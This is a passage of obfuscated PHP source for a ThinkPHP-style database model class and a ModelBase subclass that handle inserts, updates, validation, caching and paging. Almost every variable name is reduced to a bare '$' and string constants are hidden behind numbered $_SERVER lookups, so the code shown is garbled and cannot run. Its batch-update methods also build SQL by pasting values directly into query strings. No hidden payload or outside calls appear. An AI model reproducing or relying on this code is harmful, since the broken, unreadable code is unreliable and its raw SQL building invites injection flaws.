$ = ucwords(strtolower($)) . $[299]; if (!class_exists($)) { think_exception($ . think_lang($[300])); } $this->_extModel = new $($this->name); if (!empty($)) { foreach ($ as $) { $this->_extModel->setProperty($, $this->{$}); } } return $this->_extModel; } public function __set($, $) { $this->data[$] = $; } public function __get($) { return isset($this->data[$]) ? $this->data[$] : null; } public function __isset($) { return isset($this->data[$]); } public function __unset($) { unset($this->data[$]); } public function __call($, $) { $ =& $_SERVER[]; if (in_array(strtolower($), $this->methods, !0)) { $this->options[strtolower($)] = $[0]; return $this; } elseif (in_array(strtolower($), array($[301], $[302], $[303], $[304], $[305]), !0)) { $ = isset($[0]) ? $[0] : $[205]; $ = $this->db->parseKey($); return $this->getField(strtoupper($) . $[306] . $ . $[307] . $, $[301]); } elseif (strtolower(substr($, 0, 5)) == $[308]) { $ = think_parse_name(substr($, 5)); $[$] = $[0]; return $this->where($)->find(); } elseif (strtolower(substr($, 0, 10)) == $[309]) { $ = think_parse_name(substr($, 10)); $[$] = $[0]; return $this->where($)->getField($[1]); } elseif (isset($this->_scope[$])) { return $this->scope($, $[0]); } elseif (method_exists($this, $)) { array_unshift($, $); return call_user_func_array(array($this, $[310]), $); } else { return call_user_func_array(array(parent, $), $); } } protected function call() { $ =& $_SERVER[]; $ = func_get_args(); $ = array_shift($); $ = $; if (is_array($)) { $ = $[1]; $ = $[0]; } $ = count($) - 1; if (isset($[$]) && $[$] === $) { think_exception(__CLASS__ . $[4] . $ . think_lang($[311])); return; } $[] = $; if (method_exists($this, $[312])) { $ = call_user_func_array(array($this, $[313]), array($, $)); if (!is_null($) && $ !== !1) { return $; } } $ = call_user_func_array(array($this, $), $); if (method_exists($this, $[314])) { $ = call_user_func_array(array($this, $[315]), array($, $, $)); if ($) { return $; } } return $; } protected function _initialize() { } protected function _facade($) { $ =& $_SERVER[]; if (!empty($this->fields)) { foreach ($ as $ => $) { if (is_array($this->fields) && !in_array($, $this->fields, !0)) { unset($[$]); } elseif (is_scalar($)) { $this->_parseType($, $); } } } if (!empty($this->options[$[316]])) { $ = array_map($this->options[$[316]], $); unset($this->options[$[316]]); } $this->_beforeWrite($); return $; } protected function _beforeWrite(&$) { } public function add($ = '', $ = array(), $ = false) { if (empty($)) { if (!empty($this->data)) { $ = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[][317]); return !1; } } $ = $this->_parseOptions($); $ = $this->_facade($); if (!1 === $this->_beforeInsert($, $)) { return !1; } $ = $this->db->insert($, $, $); if (!1 !== $) { $ = $this->getLastInsID(); if ($) { $[$this->getPk()] = $; $this->_after_insert($, $); return $; } $this->_after_insert($, $); } return $; } protected function _beforeInsert(&$, $) { } protected function _after_insert($, $) { } public function addAll($, $ = array(), $ = false) { $ =& $_SERVER[]; if (empty($)) { $this->error = think_lang($[317]); return !1; } $ = $this->_parseOptions($); foreach ($ as $ => $) { $[$] = $this->_facade($); } if (method_exists($this->db, $[318])) { $ = $this->db->insertAll($, $, $); } else { $this->startTrans(); foreach ($ as $ => $) { $ = $this->db->insert($, $, $); } $this->commit(); } if (!1 !== $) { $ = $this->getLastInsID(); if ($) { return $; } } return $; } public function selectAdd($ = '', $ = '', $ = array()) { $ =& $_SERVER[]; $ = $this->_parseOptions($); if (!1 === ($ = $this->db->selectInsert($ ? $ : $[$[319]], $ ? $ : $this->getTableName(), $))) { $this->error = think_lang($[320]); return !1; } else { return $; } } public function save($ = '', $ = array()) { $ =& $_SERVER[]; if (empty($)) { if (!empty($this->data)) { $ = $this->data; $this->data = array(); } else { $this->error = think_lang($[317]); return !1; } } $ = $this->_facade($); $ = $this->_parseOptions($); $ = $this->getPk(); if (!isset($[$[321]])) { if (isset($[$])) { $[$] = $[$]; $[$[321]] = $; unset($[$]); } else { $this->error = think_lang($[320]); return !1; } } if (is_array($[$[321]]) && isset($[$[321]][$])) { $ = $[$[321]][$]; } if (!1 === $this->_beforeUpdate($, $)) { return !1; } $ = $this->db->update($, $); if (!1 !== $) { if (isset($)) { $[$] = $; } $this->_afterUpdate($, $); } return $; } protected function _beforeUpdate(&$, $) { } protected function _afterUpdate($, $) { } public function delete($ = array()) { $ =& $_SERVER[]; if (empty($) && empty($this->options[$[321]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]); } else { return !1; } } $ = $this->getPk(); if (is_numeric($) || is_string($)) { if (strpos($, $[50])) { $[$] = array($[322], $); } else { $[$] = $; } $this->options[$[321]] = $; } $ = $this->_parseOptions(); if (is_array($[$[321]]) && isset($[$[321]][$])) { $ = $[$[321]][$]; } $ = $this->db->delete($); if (!1 !== $) { $ = array(); if (isset($)) { $[$] = $; } $this->_after_delete($, $); } return $; } protected function _after_delete($, $) { } public function select($ = array()) { $ =& $_SERVER[]; if (is_string($) || is_numeric($)) { $ = $this->getPk(); if (strpos($, $[50])) { $[$] = array($[322], $); } else { $[$] = $; } $this->options[$[321]] = $; } elseif (!1 === $) { $ = $this->_parseOptions(); return $[323] . $this->db->buildSelectSql($) . $[324]; } $ = $this->_parseOptions(); $ = $this->db->select($); if (!1 === $) { return !1; } if (empty($)) { return null; } $this->_afterSelect($, $); return $; } protected function _afterSelect(&$, $) { } public function buildSql($ = array()) { $ =& $_SERVER[]; $ = $this->_parseOptions($); return $[323] . $this->db->buildSelectSql($) . $[324]; } public function optionsValue($ = null) { if (is_null($)) { return $this->options; } elseif (is_array($)) { $this->options = array_merge($this->options, $); } } protected function _parseOptions($ = array()) { $ =& $_SERVER[]; if (is_array($)) { $ = array_merge($this->options, $); } $this->options = array(); if (!isset($[$[325]])) { $[$[325]] = $this->getTableName(); $ = $this->fields; } else { $ = $this->getDbFields(); } if (!empty($[$[326]])) { $[$[325]] .= $[53] . $[$[326]]; } $[$[327]] = $this->name; if (isset($[$[321]]) && is_array($[$[321]]) && !empty($) && !isset($[$[328]]) && !isset($[$[325]])) { foreach ($[$[321]] as $ => $) { $ = trim($); if (in_array($, $, !0)) { if (is_scalar($)) { $this->_parseType($[$[321]], $); } } elseif (!is_numeric($) && $[11] != substr($, 0, 1) && !1 === strpos($, $[10]) && !1 === strpos($, $[306]) && !1 === strpos($, $[329]) && !1 === strpos($, $[330])) { unset($[$[321]][$]); } } } $this->_options_filter($); return $; } protected function _options_filter(&$) { } protected function _parseType(&$, $) { $ =& $_SERVER[]; if (empty($this->options[$[331]][$[4] . $])) { $ = strtolower($this->fields[$[298]][$]); if (!1 !== strpos($, $[332])) { } elseif (!1 === strpos($, $[333]) && !1 !== strpos($, $[334])) { $[$] = intval($[$]); } elseif (!1 !== strpos($, $[335]) || !1 !== strpos($, $[336])) { $[$] = floatval($[$]); } elseif (!1 !== strpos($, $[337])) { $[$] = (bool) $[$]; } } } public function find($ = array()) { $ =& $_SERVER[]; if (is_numeric($) || is_string($)) { $[$this->getPk()] = intval($); $this->options[$[321]] = $; } $this->options[$[338]] = 1; $ = $this->_parseOptions(); $ = $this->db->select($); if (!1 === $) { return !1; } if (empty($)) { return null; } $this->data = $[0]; $this->_afterFind($this->data, $); if (!empty($this->options[$[339]])) { return $this->returnResult($this->data, $this->options[$[339]]); } return $this->data; } protected function _afterFind(&$, $) { } protected function returnResult($, $ = '') { $ =& $_SERVER[]; if ($) { if (is_callable($)) { return call_user_func($, $); } switch (strtolower($)) { case $[340]: return json_encode($); case $[341]: return xml_encode($); } } return $; } public function parseFieldsMap($, $ = 1) { if (!empty($this->_map)) { foreach ($this->_map as $ => $) { if ($ == 1) { if (isset($[$])) { $[$] = $[$]; unset($[$]); } } else { if (isset($[$])) { $[$] = $[$]; unset($[$]); } } } } return $; } public function setField($, $ = '') { if (is_array($)) { $ = $; } else { $[$] = $; } return $this->save($); } public function setAdd($, $ = 1) { $ =& $_SERVER[]; $ = $ . $[342] . $; if ($ < 0) { $ = $ . $; } return $this->setField($, array($[343], $)); } public function getField($, $ = null) { $ =& $_SERVER[]; $[$[319]] = $; $ = $this->_parseOptions($); $ = trim($); if (strpos($, $[50])) { if (!isset($[$[338]])) { $[$[338]] = is_numeric($) ? $ : $[12]; } $ = $this->db->select($); if (!empty($)) { $ = explode($[50], $); $ = array_keys($[0]); $ = array_shift($); $ = array_shift($); $ = array(); $ = count($); foreach ($ as $) { $ = $[$]; if (2 == $) { $[$] = $[$]; } else { $[$] = is_string($) ? implode($, $) : $; } } return $; } } else { if (!0 !== $) { $[$[338]] = is_numeric($) ? $ : 1; } if ($ === $[301]) { unset($[$[338]]); } $ = $this->db->select($); if (!empty($)) { if ($ === $[301]) { return reset($[0]); } if (!0 !== $ && 1 == $[$[338]]) { return reset($[0]); } foreach ($ as $) { $[] = $[$]; } return $; } } return null; } public function create($ = '', $ = '') { $ =& $_SERVER[]; if (empty($)) { $ = $_POST; } elseif (is_object($)) { $ = get_object_vars($); } if (empty($) || !is_array($)) { $this->error = think_lang($[317]); return !1; } $ = $this->parseFieldsMap($, 0); $ = $ ? $ : (!empty($[$this->getPk()]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$[319]])) { $ = $this->options[$[319]]; unset($this->options[$[319]]); } elseif ($ == THINK_MODEL_INSERT && isset($this->insertFields)) { $ = $this->insertFields; } elseif ($ == THINK_MODEL_UPDATE && isset($this->updateFields)) { $ = $this->updateFields; } if (isset($)) { if (is_string($)) { $ = explode($[50], $); } if (think_config($[344])) { $[] = think_config($[345]); } foreach ($ as $ => $) { if (!in_array($, $)) { unset($[$]); } } } if (!$this->autoValidation($, $)) { return !1; } if (!$this->autoCheckToken($)) { $this->error = think_lang($[346]); return !1; } if ($this->autoCheckFields) { $ = $this->getDbFields(); foreach ($ as $ => $) { if (!in_array($, $)) { unset($[$]); } elseif (MAGIC_QUOTES_GPC && is_string($)) { $[$] = stripslashes($); } } } $this->autoOperation($, $); $this->data = $; return $; } public function autoCheckToken($) { $ =& $_SERVER[]; if (isset($this->options[$[347]]) && !$this->options[$[347]]) { return !0; } if (think_config($[344])) { $ = think_config($[345]); if (!isset($[$]) || Session::get($)) { return !1; } list($, $) = explode($[11], $[$]); if ($ && Session::get($ . $[10] . $) === $) { Session::remove($ . $[10] . $); return !0; } if (think_config($[348])) { Session::remove($ . $[10] . $); } return !1; } return !0; } public function regex($, $) { $ =& $_SERVER[]; $ = array($[349] => $[350], $[351] => $[352], $[353] => $[354], $[355] => $[356], $[357] => $[358], $[359] => $[360], $[361] => $[362], $[336] => $[363], $[364] => $[365]); if (isset($[strtolower($)])) { $ = $[strtolower($)]; } return preg_match($, $) === 1; } private function autoOperation(&$, $) { $ =& $_SERVER[]; if (!empty($this->options[$[366]])) { $ = $this->options[$[366]]; unset($this->options[$[366]]); } elseif (!empty($this->_auto)) { $ = $this->_auto; } if (isset($)) { foreach ($ as $) { if (empty($[2])) { $[2] = THINK_MODEL_INSERT; } if ($ == $[2] || $[2] == THINK_MODEL_BOTH) { switch (trim($[3])) { case $[367]: case $[368]: $ = isset($[4]) ? (array) $[4] : array(); if (isset($[$[0]])) { array_unshift($, $[$[0]]); } if ($[367] == $[3]) { $[$[0]] = call_user_func_array($[1], $); } else { $[$[0]] = call_user_func_array(array(&$this, $[1]), $); } break; case $[319]: $[$[0]] = $[$[1]]; break; case $[369]: if ($[12] === $[$[0]]) { unset($[$[0]]); } break; case $[370]: default: $[$[0]] = $[1]; } if (!1 === $[$[0]]) { unset($[$[0]]); } } } } return $; } protected function autoValidation($, $) { $ =& $_SERVER[]; if (!empty($this->options[$[371]])) { $ = $this->options[$[371]]; unset($this->options[$[371]]); } elseif (!empty($this->_validate)) { $ = $this->_validate; } if (isset($)) { if ($this->patchValidate) { $this->error = array(); } foreach ($ as $ => $) { if (empty($[5]) || $[5] == THINK_MODEL_BOTH || $[5] == $) { if (0 == strpos($[2], $[372]) && strpos($[2], $[373])) { $[2] = think_lang(substr($[2], 2, -1)); } $[3] = isset($[3]) ? $[3] : THINK_EXISTS_VALIDATE; $[4] = isset($[4]) ? $[4] : $[374]; switch ($[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($, $)) { return !1; } break; case THINK_VALUE_VALIDATE: if ($[12] != trim($[$[0]])) { if (!1 === $this->_validationField($, $)) { return !1; } } break; default: if (isset($[$[0]])) { if (!1 === $this->_validationField($, $)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } return !0; } protected function _validationField($, $) { if (!1 === $this->_validationFieldItem($, $)) { if ($this->patchValidate) { $this->error[$[0]] = $[2]; } else { $this->error = $[2]; return !1; } } return; } protected function _validationFieldItem($, $) { $ =& $_SERVER[]; switch (strtolower(trim($[4]))) { case $[367]: case $[368]: $ = isset($[6]) ? (array) $[6] : array(); if (is_string($[0]) && strpos($[0], $[50])) { $[0] = explode($[50], $[0]); } if (is_array($[0])) { foreach ($[0] as $) { $[$] = $[$]; } array_unshift($, $); } else { array_unshift($, $[$[0]]); } if ($[367] == $[4]) { return call_user_func_array($[1], $); } else { return call_user_func_array(array(&$this, $[1]), $); } case $[375]: return $[$[0]] == $[$[1]]; case $[376]: if (is_string($[0]) && strpos($[0], $[50])) { $[0] = explode($[50], $[0]); } $ = array(); if (is_array($[0])) { foreach ($[0] as $) { $[$] = $[$]; } } else { $[$[0]] = $[$[0]]; } if (!empty($[$this->getPk()])) { $[$this->getPk()] = array($[377], $[$this->getPk()]); } if ($this->where($)->find()) { return !1; } return !0; default: return $this->check($[$[0]], $[1], $[4]); } } public function check($, $, $ = "regex") { $ =& $_SERVER[]; $ = strtolower(trim($)); switch ($) { case $[7]: case $[378]: $ = is_array($) ? $ : explode($[50], $); return $ == $[7] ? in_array($, $) : !in_array($, $); case $[379]: case $[380]: if (is_array($)) { $ = $[0]; $ = $[1]; } else { list($, $) = explode($[50], $); } return $ == $[379] ? $ >= $ && $ <= $ : $ < $ || $ > $; case $[381]: case $[382]: return $ == $[381] ? $ == $ : $ != $; case $[383]: $ = mb_strlen($, $[384]); if (strpos($, $[50])) { list($, $) = explode($[50], $); return $ >= $ && $ <= $; } else { return $ == $; } case $[385]: list($, $) = explode($[50], $); if (!is_numeric($)) { $ = strtotime($); } if (!is_numeric($)) { $ = strtotime($); } return NOW_TIME >= $ && NOW_TIME <= $; case $[386]: return in_array(get_client_ip(), explode($[50], $)); case $[387]: return !in_array(get_client_ip(), explode($[50], $)); case $[374]: default: return $this->regex($, $); } } public function query($, $ = false) { $ =& $_SERVER[]; if (!is_bool($) && !is_array($)) { $ = func_get_args(); array_shift($); } $ = str_replace(array($[248], $[388]), $[53], $); $ = $this->parseSql($, $); return $this->db->query($); } public function execute($, $ = false) { if (!is_bool($) && !is_array($)) { $ = func_get_args(); array_shift($); } $ = $this->parseSql($, $); return $this->db->execute($); } protected function parseSql($, $) { $ =& $_SERVER[]; if (!0 === $) { $ = $this->_parseOptions(); $ = $this->db->parseSql($, $); } elseif (is_array($)) { $ = array_map(array($this->db, $[389]), $); $ = vsprintf($, $); } else { $ = strtr($, array($[390] => $this->getTableName(), $[391] => think_config($[290]))); } $this->db->setModel($this->name); return $; } public function db($ = '', $ = '', $ = array()) { $ =& $_SERVER[]; if ($[12] === $ && $this->db) { return $this->db; } static $ = array(); static $ = array(); if (!isset($[$]) || isset($[$]) && $ && $[$] != $) { if (!empty($) && is_string($) && !1 === strpos($, $[8])) { $ = think_config($); } $ = think_guid($); $[$] = Db::getInstance($); } elseif (NULL === $) { $[$]->close(); unset($[$]); return; } if (!empty($)) { if (is_string($)) { parse_str($, $); } foreach ($ as $ => $) { $this->setProperty($, $); } } $[$] = $; $this->db = $[$]; $this->_after_db(); if (!empty($this->name) && $this->autoCheckFields) { $this->_checkTableInfo(); } return $this; } protected function _after_db() { } public function getModelName() { if (empty($this->name)) { $ = get_class($this); if ($ == $_SERVER[][392]) { return $this->name; } $this->name = substr($, 0, -5); } return $this->name; } public function getTableName() { $ =& $_SERVER[]; if (empty($this->trueTableName)) { $ = !empty($this->tablePrefix) ? $this->tablePrefix : $[12]; if (!empty($this->tableName)) { $ .= $this->tableName; } else { $ .= think_parse_name($this->name); } $this->trueTableName = strtolower($); } return (!empty($this->dbName) ? $this->dbName . $[10] : $[12]) . $this->trueTableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db->commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public function getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLastSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $ =& $_SERVER[]; return isset($this->fields[$[297]]) ? $this->fields[$[297]] : $this->pk; } public function getDbFields() { $ =& $_SERVER[]; if (isset($this->options[$[325]])) { $ = $this->db->getFields($this->options[$[325]]); return $ ? array_keys($) : !1; } if ($this->fields) { $ = $this->fields; unset($[$[296]], $[$[297]], $[$[298]], $[$[295]]); return $; } return !1; } public function data($ = '') { $ =& $_SERVER[]; if ($[12] === $ && !empty($this->data)) { return $this->data; } if (is_object($)) { $ = get_object_vars($); } elseif (is_string($)) { parse_str($, $); } elseif (!is_array($)) { think_exception(think_lang($[317])); } $this->data = $; return $this; } public function join($) { $ =& $_SERVER[]; if (is_array($)) { $this->options[$[328]] = $; } elseif (!empty($)) { $this->options[$[328]][] = $; } return $this; } public function union($, $ = false) { $ =& $_SERVER[]; if (empty($)) { return $this; } if ($) { $this->options[$[393]][$[394]] = !0; } if (is_object($)) { $ = get_object_vars($); } if (is_string($)) { $ = $; } elseif (is_array($)) { if (isset($[0])) { $this->options[$[393]] = array_merge($this->options[$[393]], $); return $this; } else { $ = $; } } else { think_exception(think_lang($[317])); } $this->options[$[393]][] = $; return $this; } public function cache($ = true, $ = null, $ = '') { $ =& $_SERVER[]; if (!1 !== $) { $this->options[$[395]] = array($[96] => $, $[385] => $, $[33] => $); } return $this; } public function field($, $ = false) { $ =& $_SERVER[]; if (!0 === $) { $ = $this->getDbFields(); $ = $ ? $ : $[205]; } elseif ($) { if (is_string($)) { $ = explode($[50], $); } $ = $this->getDbFields(); $ = $ ? array_diff($, $) : $; } $this->options[$[319]] = $; return $this; } public function scope($ = '', $ = NULL) { $ =& $_SERVER[]; if ($[12] === $) { if (isset($this->_scope[$[37]])) { $ = $this->_scope[$[37]]; } else { return $this; } } elseif (is_string($)) { $ = explode($[50], $); $ = array(); foreach ($ as $) { if (!isset($this->_scope[$])) { continue; } $ = array_merge($, $this->_scope[$]); } if (!empty($) && is_array($)) { $ = array_merge($, $); } } elseif (is_array($)) { $ = $; } if (is_array($) && !empty($)) { $this->options = array_merge($this->options, array_change_key_case($)); } return $this; } public function where($, $ = null) { $ =& $_SERVER[]; if (!is_null($) && is_string($)) { if (!is_array($)) { $ = func_get_args(); array_shift($); } $ = array_map(array($this->db, $[389]), $); $ = vsprintf($, $); } elseif (is_object($)) { $ = get_object_vars($); } elseif (is_array($)) { foreach ($ as $ => $) { if ((is_numeric($) || !$) && is_string($)) { if (strpos($, $[396]) === 0) { continue; } think_trace($[397], $[12], $[49]); die; } } } if (is_string($) && $[12] != $) { $ = array(); $[$[398]] = $; $ = $; } if (isset($this->options[$[321]])) { $this->options[$[321]] = array_merge($this->options[$[321]], $); } else { $this->options[$[321]] = $; } return $this; } public function limit($, $ = null) { $ =& $_SERVER[]; $this->options[$[338]] = is_null($) ? $ : $ . $[50] . $; return $this; } public function page($, $ = null) { $ =& $_SERVER[]; $this->options[$[399]] = is_null($) ? $ : $ . $[50] . $; return $this; } public function comment($) { $this->options[$_SERVER[][400]] = $; return $this; } public function setProperty($, $) { if (property_exists($this, $)) { $this->{$} = $; } return $this; } } class ModelBase extends Model { const SQL_WHERE_IN_CHUNK = 2000; protected $dataAuto = array(array("modifyTime", "time", "insert,update", "function"), array("createTime", "time", "insert", "function")); public function setDataAuto($) { $this->dataAuto = $; } public function __construct($ = '', $ = '', $ = '') { parent::__construct($, $, $); } protected $tableMeta = array(); protected function _beforeInsert(&$, $) { $ =& $_SERVER[]; if (!$this->checkDataAutoHas($[401])) { return; } $this->dataBeforeFilter($, $[401]); } protected function _beforeUpdate(&$, $) { $ =& $_SERVER[]; if (!$this->checkDataAutoHas($[402])) { return; } $this->dataBeforeFilter($, $[402]); } protected function _afterSelect(&$, $) { if (!is_array($)) { return; } if (!$this->checkDataAutoHas($_SERVER[][403])) { return; } foreach ($ as &$) { $this->dataAfterFilter($); } unset($); } protected function _afterFind(&$, $) { if (!is_array($)) { return; } if (!$this->checkDataAutoHas($_SERVER[][403])) { return; } $this->dataAfterFilter($); } public static function textEncode($) { if (!$) { return $; } $ = json_encode($); $ = preg_replace_callback($_SERVER[][404], function ($) { return addslashes($[0]); }, $); return json_decode($); } public static function textDecode($) { $ =& $_SERVER[]; $ = json_encode($); $ = preg_replace_callback($[405], function ($) { return $_SERVER[][99]; }, $); return json_decode($); } public function setAutoIncrement($) { $ = array($this->getPk() => $); $ = $this->data($)->add(); if ($) { $this->delete($); } } public function getAutoIncrement() { $ = $this->getTableName(); $ = $this->max($this->getPk()); $ = $this->query("show table status where Name='{$}'"); $ = $[0][$_SERVER[][406]]; $ = max($, $); return $; } protected function _callBefore($, $) { return $this->cacheCallCheck($, $, !1); } protected function _callAfter($, $) { return $this->cacheCallCheck($, $, !0); } protected function cacheFunctionAlias($) { return !1; } public function cacheMemory() { return $this->cache(null, 0); } protected function cacheCallCheck($, $, $ = false) { $ = $this->cacheFunctionAlias($); if (!$) { return; } foreach ($ as $ => $) { $ = $[0]; $ = explode($_SERVER[][50], $[1]); if ($ == $) { return $this->cacheFunctionGet($, $); } if ($ && in_array($, $)) { $this->cacheFunctionClear($, $); } } } public function cacheFunctionGet($, $) { $ = $this->cacheKeyMake($, $); $ = Cache::get($); if (!is_array($)) { $ = call_user_func_array(array($this, $), array($, !0)); Cache::set($, $); } return $; } public function cacheFunctionClear($, $) { $ = $; if (!is_array($)) { $ = array($); } foreach ($ as $) { $ = $this->cacheKeyMake($, $); Cache::remove($); } } private function cacheKeyMake($, $) { $ =& $_SERVER[]; return get_class($this) . $[11] . $ . $[407] . $; } protected function selectPageReset() { $ =& $_SERVER[]; if (isset($GLOBALS[$[408]])) { return; } $GLOBALS[$[408]] = isset($GLOBALS[$[7]][$[409]]) ? $GLOBALS[$[7]][$[409]] : !1; $GLOBALS[$[410]] = isset($GLOBALS[$[7]][$[399]]) ? $GLOBALS[$[7]][$[399]] : !1; $GLOBALS[$[7]][$[409]] = !1; $GLOBALS[$[7]][$[399]] = !1; } protected function selectPageRestore() { $ =& $_SERVER[]; if (!isset($GLOBALS[$[408]])) { return; } $GLOBALS[$[7]][$[409]] = $GLOBALS[$[408]]; $GLOBALS[$[7]][$[399]] = $GLOBALS[$[410]]; if ($GLOBALS[$[7]][$[409]] === !1) { unset($GLOBALS[$[7]][$[409]]); } if ($GLOBALS[$[7]][$[399]] === !1) { unset($GLOBALS[$[7]][$[399]]); } unset($GLOBALS[$[408]]); unset($GLOBALS[$[410]]); } protected function selectPage($ = 200, $ = 1) { $ =& $_SERVER[]; global $in; $ = $this->optionsValue(); $ = 50000; $ = isset($in[$[409]]) && $in[$[409]] ? $in[$[409]] : $; if ($ === -1) { $in[$[409]] = !1; $ = 100000000; $ = $; } $ = $; $[$[411]] = array(); $ = intval($); $ = $ <= 5 ? 5 : ($ >= $ ? $ : $); $ = intval(isset($in[$[399]]) && $in[$[399]] ? $in[$[399]] : $); $ = $ <= 1 ? 1 : $; $ = array(); $ = 1; if ($ == 1 && $) { $this->optionsValue($); $ = $this->page($, $)->select(); $ = is_array($) ? count($) : 0; if ($ < $) { $ = 1; } else { $this->optionsValue($); $ = intval($this->count()); $ = ceil($ / $); } } else { $this->optionsValue($); $ = intval($this->count()); $ = ceil($ / $); $ = $ >= $ ? $ : $; $this->optionsValue($); $ = $this->page($, $)->select(); } if (!is_array($)) { $ = array(); } if ($ == 1) { $ = count($); } $ = array($[412] => array($[413] => $, $[409] => $, $[399] => $, $[414] => $), $[415] => $); return $; } protected function checkLength($, $ = 0, $ = '') { $ =& $_SERVER[]; $ = $ ? $ : 65536; if (!$ || strlen($) < $) { return; } $ = $ ? $ . $[73] : $[12]; show_json($ . LNG($[416]) . "({$})", !1); } protected function metaSet($, $ = null, $ = null) { $ =& $_SERVER[]; if (!$this->tableMeta || !$) { return !1; } $ = $this->tableMeta[$[417]]; $ = $this->tableMeta[$[418]]; $ = Model($); $ = array($ => $, $[419] => $); if (is_null($)) { return $->where(array($ => $))->delete(); } if (is_null($) && is_string($)) { return $->where($)->delete(); } $ = is_array($) ? $ : array(); if (is_string($)) { $[$] = $; } $ = array(); foreach ($ as $ => $) { if (is_null($) && is_string($)) { $->where(array($ => $, $[419] => $))->delete(); continue; } $this->checkLength($, !1, $ . $[4] . $); $[] = array($ => $, $[96] => $, $[420] => $); } $ = $[421] . $; CacheLock::lock($); $->where(array($ => $))->addAll($, array(), !0); CacheLock::unlock($); return !0; } public function metaGet($, $ = false) { $ =& $_SERVER[]; if (!$this->tableMeta) { return array(); } $ = $this->tableMeta[$[417]]; $ = Model($this->tableMeta[$[418]]); if ($) { $ = array($ => $, $[96] => $); return $->where($)->getField($[420]); } $ = array($ => $); $ = $->field($[422])->where($)->select(); $ = array_to_keyvalue($, $[96], $[420]); return $; } private function checkDataAutoHas($) { if (!is_array($this->dataAuto) || count($this->dataAuto) == 0) { return !1; } foreach ($this->dataAuto as $) { if (in_array($, explode($_SERVER[][50], $[2]))) { return !0; } } return !1; } private function dataBeforeFilter(&$, $) { $ =& $_SERVER[]; if (!is_array($)) { return; } foreach ($this->dataAuto as $) { $ = $[0]; if (!in_array($, explode($[50], $[2]))) { continue; } switch (trim($[3])) { case $[367]: case $[368]: $ = $[1]; $ = isset($[4]) ? (array) $[4] : array(); if ($ == $[196] && array_key_exists($, $)) { if (!$[$]) { unset($[$]); } break; } if (isset($[$])) { array_unshift($, $[$]); } if ($[367] == $[3]) { $[$] = call_user_func_array($, $); } else { $[$] = call_user_func_array(array(&$this, $), $); } break; case $[316]: if (isset($[$]) && $[$]) { $[$] = call_user_func_array(array(&$this, $[1]), array($[$])); } break; case $[319]: $[$] = $[$[1]]; break; case $[340]: if (isset($[$]) && !is_string($[$])) { $[$] = json_encode_force($[$]); } break; case $[369]: if ($[$] === $[12]) { unset($[$]); } break; case $[370]: $[$] = $[1]; default: break; } } if ($ == $[401]) { $ = strtolower($this->db->getDbType()); if (strpos($, $[13]) !== 0) { return; } $ = $this->field(!0)->fields; $ = $[$[298]]; if (isset($[$[297]])) { unset($[$[$[297]]]); } foreach ($ as $ => $) { if (!isset($[$])) { $[$] = $[12]; } } } } private function dataAfterFilter(&$) { $ =& $_SERVER[]; foreach ($this->dataAuto as $) { $ = $[0]; if (!isset($[$])) { continue; } if (!in_array($[403], explode($[50], $[2]))) { continue; } switch (trim($[3])) { case $[367]: case $[368]: $ = isset($[4]) ? (array) $[4] : array(); array_unshift($, $[$]); if (isset($[4]) && $[4] == $[423]) { $ = array($[$]); } if ($[367] == $[3]) { $[$] = call_user_func_array($[1], $); } else { $[$] = call_user_func_array(array(&$this, $[1]), $); } break; case $[316]: if (isset($[$]) && $[$]) { $[$] = call_user_func_array(array(&$this, $[1]), array($[$])); } break; case $[319]: $[$] = $[$[1]]; break; case $[340]: $ = $[$]; $[$] = json_decode($, !0); if (is_null($[$])) { $[$] = $; } break; case $[369]: if ($[$] === $[12]) { unset($[$]); } break; case $[370]: $[$] = $[1]; break; default: break; } } } public function saveAll($) { $ =& $_SERVER[]; $ = $this->tablePrefix . $this->tableName; $ = self::SQL_WHERE_IN_CHUNK; $ = is_array($) ? $ : array(); $ = $[424]; $ = 0; $ = array(); $ = count($); for ($ = 0; $ < $; $++) { $ = $[$]; if (!is_array($) || count($) != 4) { continue; } $ = "UPDATE `{$}` SET {$[2]} = CASE {$[0]}
"; if ($ == 0) { $ = $; } $[] = $[120] . $[1] . $[120]; $++; $ .= " WHEN '{$[1]}' THEN '{$[3]}' \xa"; if ($ == $ || $ == $ - 1) { $ = implode($[50], $); $ .= " END WHERE {$[0]} IN ({$}) "; $this->execute($); $ = 0; $ = $; $this->chunkEventCheck(count($)); $ = array(); } } $this->chunkEventSet(); } public function saveAllEach($) { $ =& $_SERVER[]; $ = $this->tablePrefix . $this->tableName; foreach ($ as $) { if (!is_array($) || count($) != 4) { continue; } $ = $[0] . $[425] . $[1] . $[120]; $ = $[2] . $[425] . $[3] . $[120]; $ = "update {$} set {$} where {$};"; $this->execute($); } } protected $_chunkEvent = false; protected $_chunkEventParam = false; public function chunkEventSet($ = false, $ = false) { $this->_chunkEvent = $; $this->_chunkEventParam = $; } private function chunkEventCheck($) { if (!$this->_chunkEvent) { return; } $ = is_array($this->_chunkEventParam) ? $this->_chunkEventParam : array(); $[$_SERVER[][426]] = $; Hook::trigger($this->_chunkEvent, $); } public function addAll($, $ = array(), $ = false) { $ =& $_SERVER[]; ignore_timeout(); $ = self::SQL_WHERE_IN_CHUNK; if (empty($)) { $this->error = think_lang($[317]); return !1; } $ = $this->_parseOptions($); foreach ($ as $ => $) { $[$] = $this->_facade($); $this->_beforeInsert($[$], $); } if (method_exists($this->db, $[318])) { for ($ = 0; $ < count($); $ += $) { $ = array_slice($, $, $); if (!is_array($) || count($) == 0) { break; } $ = $this->db->insertAll($, $, $); $this->chunkEventCheck(count($)); } $this->chunkEventSet(); } else { $this->startTrans(); foreach ($ as $ => $) { $ = $this->db->insert($, $, $); } $this->commit(); } if (!1 !== $) { $ = $this->getLastInsID(); if ($) { return $; } } return $; } public function save($ = '', $ = array()) { $ =& $_SERVER[]; $ = self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $ = $this->findWhereField($); if (!$) { return parent::save($, $); } $ = 0; $ = $[$[321]][$][1]; $ = is_array($) ? 